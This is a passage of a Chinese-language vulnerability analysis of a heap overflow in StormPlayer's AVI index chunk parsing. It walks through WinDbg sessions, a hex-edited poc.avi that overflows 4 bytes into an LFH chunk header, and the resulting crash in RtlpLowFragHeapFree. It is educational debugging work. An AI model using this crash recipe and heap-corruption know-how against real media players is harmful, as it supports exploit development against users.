> gflags.exe /i StormPlayer.exe –ust -hpa
Current Registry Settings for StormPlayer.exe executable are: 00000000

备注:hpa页堆调试和ust栈回溯选项都会影响堆的实际内存布局,具体参照<软件调试>P666和P677相关内容。

在poc.avi样本文件结尾修改cbFileSize=00000004,增加16字节的IndexChunkData内容:

00000260h: 64 62 00 00 00 00 69 64 78 31 04 00 00 00 41 42 ; db....idx1....AB
00000270h: 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 ; CDEFGHIJKLMNOPQR

Windbg重新附加至StormPlayer.exe进程,在创建该堆的call指令处下断点:

0:025>  bp AviSplitter+0x0000303e

重新加载poc.avi样本:

Breakpoint 0 hit
eax=31786469 ebx=00000000 ecx=00000008 edx=00000004 esi=01ce0ac0 edi=00000270
eip=6795303e esp=0b37f338 ebp=0b37f38c iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
AviSplitter+0x303e:
6795303e e869480100      call    AviSplitter!DllGetClassObject+0x337c (679678ac)

F10跳过执行,得到申请后堆的地址:

0:044> peax=01d37cd8 ebx=00000000 ecx=00000008 edx=01ca0048 esi=01ce0ac0 edi=00000270
eip=67953043 esp=0b37f338 ebp=0b37f38c iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
AviSplitter+0x3043:
67953043 8986d4000000    mov     dword ptr [esi+0D4h],eax ds:002b:01ce0b94=00000000

查看实际环境下的堆的详细信息:

0:044> !heap -p -a eax
    address 01d37cd8 found in _HEAP @ 1de0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        01d37cd0 0002 0000  [00]   01d37cd8    00008 - (busy)

查看堆的内存布局信息:

0:044>  !heap -x eax
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
-----------------------------------------------------------------------------
01d37cd0  01d37cd8  01de0000  01d39b60        10      -           8  LFH;busy

由此可知,实际环境中,申请的该堆为0×10字节的LFH低碎片堆,该堆的入口为eax之前8个字节,查看堆入口处的内存布局:

0:044> dd 01d37cd0
01d37cd0  38c97823 88000001 01de0038 80004656
01d37ce0  38c97825 8c000001 b30518eb 00000069
01d37cf0  38c97827 80000000 01d1003a 00000000
01d37d00  38c97819 80000000 38c9003c 80000000
……

在实际环境中,溢出4个字节的话,应该是eax+8=01d37ce0处,在此处下内存写断点:

0:044> ba w4 01d37ce0
0:044> g
Breakpoint 1 hit
eax=44434241 ebx=00000000 ecx=00000001 edx=00000000 esi=0bb85d4e edi=01d37ce0
eip=69ed1fdc esp=0b37f2c8 ebp=0b37f2d0 iopl=0         nv up ei ng nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000297
MSVCR100!memcpy+0x15c:
69ed1fdc 8d048d00000000  lea     eax,[ecx*4]

查看附近指令:

69ed1fd4 8b448efc        mov     eax,dword ptr [esi+ecx*4-4]
69ed1fd8 89448ffc        mov     dword ptr [edi+ecx*4-4],eax
69ed1fdc 8d048d00000000  lea     eax,[ecx*4]
69ed1fe3 03f0            add     esi,eax

此时可以看出:

0:044> r edi
edi=01d37ce0
0:044> r ecx
ecx=00000001

而edi+ecx*4-4 = 01d37ce0,即为溢出的那4个字节,查看内存内容:

0:044> dd 01d37cd0
01d37cd0  38c97823 88000001 31786469 00000004
01d37ce0  44434241 8c000001 b30518eb 00000069
01d37cf0  38c97827 80000000 01d1003a 00000000
01d37d00  38c97819 80000000 38c9003c 80000000

发现已经被重写了,也就是说4字节的溢出发生了。

此时关闭暴风影音,在windbg可以捕获以下异常:

(1284.eec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=44434241 ebx=01d37ce8 ecx=01de0000 edx=01d37ce8 esi=7d59a104 edi=01d37ce0
eip=773de546 esp=024ef718 ebp=024ef74c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
ntdll!RtlpLowFragHeapFree+0x31:
773de546 8b4604          mov     eax,dword ptr [esi+4] ds:002b:7d59a108=????????

查看函数调用信息:

0:001> kv
ChildEBP RetAddr  Args to Child              
024ef74c 773de193 01d37ce8 01cca2c0 75b55689 ntdll!RtlpLowFragHeapFree+0x31 (FPO: [Non-Fpo])
024ef764 76a014bd 01de0000 00000000 01d37ce8 ntdll!RtlFreeHeap+0x105 (FPO: [Non-Fpo])
024ef778 69ee016a 01de0000 00000000 01d37ce8 kernel32!HeapFree+0x14 (FPO: [Non-Fpo])
024ef78c 026eb557 01d37ce8 01cbeecc 01cd1210 MSVCR100!free+0x1c (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
024ef7c8 026d1e62 01cbdea0 01cbeeb8 01cbde80 StormPlayer_24f0000!StormPlayer_PlayPre+0x79647

可以发现上述几个Free函数都是为了释放0x01d37ce8地址所代表的堆。根据LFH低碎片堆的内存布局:

0:001> !heap -x 01d37ce8
Entry     User      Heap      Segment       Size  PrevSize  Unused    Flags
-----------------------------------------------------------------------------
01d37ce0  01d37ce8  01de0000  7d59a104         0      -          c    LFH;busy

在01d37ce0起始的LFH低碎片堆中,由于前4个字节的属性信息被覆盖掉了,导致在调用RtlpLowFragHeapFree释放该堆时,出现了异常。

这里就要问,出现异常的esi+4与01d37ce0起始的LFH低碎片堆中被重写的41424344有什么关系呢?查看RtlpLowFragHeapFree函数的源码:

ntdll!RtlpLowFragHeapFree:
773de51a 8bff            mov     edi,edi
773de51c 55              push    ebp
773de51d 8bec            mov     ebp,esp
773de51f 83ec28          sub     esp,28h
773de522 53              push    ebx
773de523 56              push    esi
773de524 57              push    edi
773de525 8d7af8          lea     edi,[edx-8]
773de528 807f0705        cmp     byte ptr [edi+7],5
773de52c 0f840f510600    je      ntdll!RtlpLowFragHeapFree+0x14 (77443641)
773de532 8b07            mov     eax,dword ptr [edi]
773de534 8bf7            mov     esi,edi
773de536 c1ee03          shr     esi,3
773de539 33f0            xor     esi,eax
773de53b 3335a4004b77    xor     esi,dword ptr [ntdll!RtlpLFHKey (774b00a4)]
773de541 897dfc          mov     dword ptr [ebp-4],edi
773de544 33f1            xor     esi,ecx
773de546 8b4604          mov     eax,dword ptr [esi+4] ds:002b:5fdb294f=????????

由edi=0x01d37ce0可知:

01d37ce0  44434241 8c000001 b30518eb 00000069

esi的求解过程如下:

esi = 41424344 ^ 01d37ce0/8 ^ 774b00a4 ^ 01de0000

其参照的公式如下:

Subsegment = *(DWORD)chunk header ^(chunk  header/8)^ RTLpLFHKey^ heap

备注:这里涉及到LFH低碎片堆的内存布局,想要了解LFH低碎片堆的童鞋,请参考<某杀毒软件的crash dump 分析>中的描述。

综上所述,在真实环境下,漏洞会导致4字节的堆溢出,实现对后一个LFH低碎片堆的chunk header的覆盖重写。

0×05 异常为何继续执行

无论是hpa页堆选项下,还是真实环境下的溢出,windbg捕获异常后,F5可以发现进程能够继续执行,这是为什么呢?

其实熟悉调试的童鞋估计早就知道了这个原因:这与调试器和进程对异常的处理有关:

如果进程中相关代码部分增加了try catch异常处理策略,当windbg第一次捕获异常,F5继续执行后,默认会将异常交由进程继续处理。

暴风影音进程中try catch逻辑,会捕获并处理相关异常,从而不会出现windbg捕获到二次异常的机会。

比较有趣的是,在调试该漏洞的过程中,发现关闭hpa选项的暴风影音进程有以下异常处理策略:

a. 调用memcpy函数时,包含try catch异常处理逻辑,溢出后不会出现异常
b. 关闭进程时,包含try catch异常处理逻辑,溢出后不会出现异常
c. 在不关闭进程的情况下,暴风影音多次打开poc.avi样本时,不包含try catch异常处理逻辑,进程出现崩溃

由此可知,在暴风影音进程内部,多次打开poc.avi样本会导致之前被溢出的低碎片堆被释放掉。由于没添加相关try catch异常处理策略,最终会导致进程的崩溃。崩溃界面如下:

暴风影音AviIndexChunk字段堆溢出漏洞分析实战-RadeBit瑞安全

0×06 总结

到这里整个分析就完成了,梳理一下可知,整个过程主要围绕以下思路:

a. 首先根据漏洞现场的指令,寻找al和edi的来源
b. 分析两者来源时,牵扯到memcpy函数的相关逻辑
c. 根据逻辑中出现的疑惑,一步步逆向,并结合avi格式代表的含义,寻找答案
d. 在实际运行环境下,探究漏洞的具体影响
e. 漏洞分析过程中,遇到windbg异常处理和页堆、LFH低碎片堆的相关内容

全文完。